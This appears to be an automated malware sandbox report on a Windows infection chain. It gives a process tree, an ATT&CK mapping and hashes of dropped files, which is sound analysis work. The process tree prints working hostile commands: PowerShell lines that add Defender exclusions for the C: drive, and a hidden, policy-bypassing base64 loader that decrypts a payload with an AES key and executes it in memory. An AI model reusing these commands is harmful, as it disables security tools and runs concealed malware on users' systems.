        "C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe"
        6⤵
        
        PID:11404
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:11572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:11612
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:11632
      - C:\Users\Admin\AppData\Local\Temp\10052940101\be346c7022.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10052940101\be346c7022.exe"
        6⤵
        
        PID:9976
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10052940101\be346c7022.exe"
        7⤵
        
        PID:10492
      - C:\Users\Admin\AppData\Local\Temp\10052950101\e422a4af8d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10052950101\e422a4af8d.exe"
        6⤵
        
        PID:10236
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10052950101\e422a4af8d.exe"
        7⤵
        
        PID:11048
  - - C:\Users\Admin\AppData\Local\Temp\10473310101\UZPt0hR.exe
      "C:\Users\Admin\AppData\Local\Temp\10473310101\UZPt0hR.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      PID:5208
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        5⤵
        
        PID:64
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6056
    - - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        5⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:5240
      - C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        6⤵
        Executes dropped EXE
        
        PID:760
      - C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        6⤵
        Deletes itself
        Executes dropped EXE
        
        PID:3028
  - - C:\Users\Admin\AppData\Local\Temp\10473320101\a10c2b3606.exe
      "C:\Users\Admin\AppData\Local\Temp\10473320101\a10c2b3606.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Writes to the Master Boot Record (MBR)
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2792
  - - C:\Users\Admin\AppData\Local\Temp\10473340101\RYZusWg.exe
      "C:\Users\Admin\AppData\Local\Temp\10473340101\RYZusWg.exe"
      4⤵
      PID:13120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10473351121\ccosvAs.cmd"
      4⤵
      PID:9912
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10473351121\ccosvAs.cmd"
        5⤵
        
        PID:10156
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:31488
  - - C:\Users\Admin\AppData\Local\Temp\10473360101\n0hEgR9.exe
      "C:\Users\Admin\AppData\Local\Temp\10473360101\n0hEgR9.exe"
      4⤵
      PID:10592
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        
        PID:10636
  - - C:\Users\Admin\AppData\Local\Temp\10473370101\Rm3cVPI.exe
      "C:\Users\Admin\AppData\Local\Temp\10473370101\Rm3cVPI.exe"
      4⤵
      PID:25416
  - - C:\Users\Admin\AppData\Local\Temp\10473380101\mTk60rz.exe
      "C:\Users\Admin\AppData\Local\Temp\10473380101\mTk60rz.exe"
      4⤵
      PID:31516
    - - C:\Users\Admin\AppData\Local\Temp\onefile_31516_133883919701557253\ZSoeRVBe.exe
        
        C:\Users\Admin\AppData\Local\Temp\10473380101\mTk60rz.exe
        5⤵
        
        PID:6388
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:1604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\AHhbHt9KGYNzy4Pq.exe
  2⤵
  PID:12216
- - C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\AHhbHt9KGYNzy4Pq.exe
    C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\AHhbHt9KGYNzy4Pq.exe
    3⤵
    PID:19084
  - - C:\Users\Admin\AppData\Local\Temp\wAFYXiWb\f5fiof7TxJ2PIokt.exe
      C:\Users\Admin\AppData\Local\Temp\wAFYXiWb\f5fiof7TxJ2PIokt.exe 19084
      4⤵
      PID:19124
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 19124 -s 620
        5⤵
        Program crash
        
        PID:25360
  - - C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\jj9sBCjkRDhszwjO.exe
      C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\jj9sBCjkRDhszwjO.exe 19084
      4⤵
      PID:25580
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 25580 -s 620
        5⤵
        Program crash
        
        PID:18764

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3084

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1400

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:7656

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:11040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAEQALQBNAFAAcAByAEUARgBlAFIARQBuAGMARQAgAC0ARQBYAGMATAB1AFMASQBvAE4AUABBAHQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAFIAYwBlADsAIABBAEQAZAAtAE0AcABwAFIAZQBGAEUAUgBlAE4AQwBFACAALQBFAFgAYwBsAFUAUwBJAE8ATgBQAHIATwBDAEUAcwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACAALQBmAG8AUgBDAGUA
1⤵
- Command and Scripting Interpreter: PowerShell
PID:10280

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:11976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 11828 -ip 11828
1⤵
PID:5856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 12296 -ip 12296
1⤵
PID:19036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 19124 -ip 19124
1⤵
PID:25292

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:25340

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:10124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 11364 -ip 11364
1⤵
PID:11852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 25572 -ip 25572
1⤵
PID:31296

C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
1⤵
PID:31316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 25580 -ip 25580
1⤵
PID:18720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\e3wtjw47yu.exe

Filesize
251KB

MD5
58d3a0d574e37dc90b40603f0658abd2

SHA1
bf5419ce7000113002b8112ace2a9ac35d0dc557

SHA256
dcc05c3ac7ae22d601bcb7c97cfcda568f3041bd39b2fd8899282dfde83369a5

SHA512
df61329a32e9261b01c5b7d95e0d9a3fb8cc36e5d90ede72bc16befe00fb32c221898a8346db9de07c0f5dcba57dcdbb09a22ca8b73223f989d33ec433c3a90a

Download Submit
C:\ProgramData\mgvs2djmg4.exe

Filesize
952KB

MD5
f258ba9ca646b9749d7f22a3dfdc77d2

SHA1
36ee4ef9e49e0ebb8973c8f50849d6367c03e69b

SHA256
fcc3edcd526b0c746998d72af8ce9cc29b0bd801f767078cc472f93d57eee9ef

SHA512
764ecce1c087bceb9dbaab806bce134dae40a0a89a8aa6ab9e566bf2206ca79850cb2a109111455f9c14dbbdb6783193958c9007f7780d444e3837fa7dbdea3a

Download Submit
C:\ProgramData\vpQTzZfl3AJC

Filesize
96KB

MD5
6066c07e98c96795ecd876aa92fe10f8

SHA1
f73cbd7b307c53aaae38677d6513b1baa729ac9f

SHA256
33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53

SHA512
7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7

Download Submit
C:\ProgramData\z5fua\ny5pzukxt

Filesize
40KB

MD5
dfd4f60adc85fc874327517efed62ff7

SHA1
f97489afb75bfd5ee52892f37383fbc85aa14a69

SHA256
c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e

SHA512
d76f75b1b5b23aa4f87c53ce44c3d3b7e41a44401e53d89f05a114600ea3dcd8beda9ca1977b489ac6ea5586cf26e47396e92d4796c370e89fab0aa76f38f3c4

Download Submit
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe

Filesize
1.9MB

MD5
bcbec32483eb43840823c4f6bd653779

SHA1
3b83255512c5f268d0a1cb2997b1cc9d40f4252d

SHA256
d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

SHA512
4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnGraphiteCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
ec9837abb494b5d893c5813ae7302a51

SHA1
75e2514eeef253f019cd39e70fd0467fcc18e001

SHA256
4ef288563215fd9d578ae0f5b668adf7534ba651063019e106f41ea418b676ca

SHA512
259048272342b0ca3bbd1d2c2efeb834770bff4dae11ab870088b27691c303bae73517170efe0eb024444d48974cca0cfafe477c6b9d0d1e23e141c8e9203e4b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
18KB

MD5
27c1c266b66dde100708bfcbd6eca013

SHA1
dfb0af8d975238f50f5599c1d31a87159de8fd2c

SHA256
7187cd1102c55aca8ab5013e721255d90020eda6b234de5bd9c92e8561b8edf0

SHA512
1f29c2cb3c75dadef9b7b91dff2f428be03b72ef0622ce418c7411c8c67ff3b730d969c3ec896e7928e2d9bd50eb91c58fc905994e3df955640e5583aef3ad88

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
80KB

MD5
bac1180163c9389fb7ae79fced0d477f
